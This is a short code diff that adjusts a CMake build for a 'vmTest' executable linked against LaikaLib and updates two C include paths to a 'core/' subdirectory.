@@ -10,5 +10,3 @@ file(GLOB_RECURSE VMTESTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
add_executable(vmTest ${VMTESTSOURCE})
target_link_libraries(vmTest PUBLIC LaikaLib)
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(vmTest PUBLIC "$<$<CONFIG:Debug>:DEBUG>")

View File

@@ -1,5 +1,5 @@
#include "lbox.h"
#include "lvm.h"
#include "core/lbox.h"
#include "core/lvm.h"
#include <stdio.h>
#include <string.h>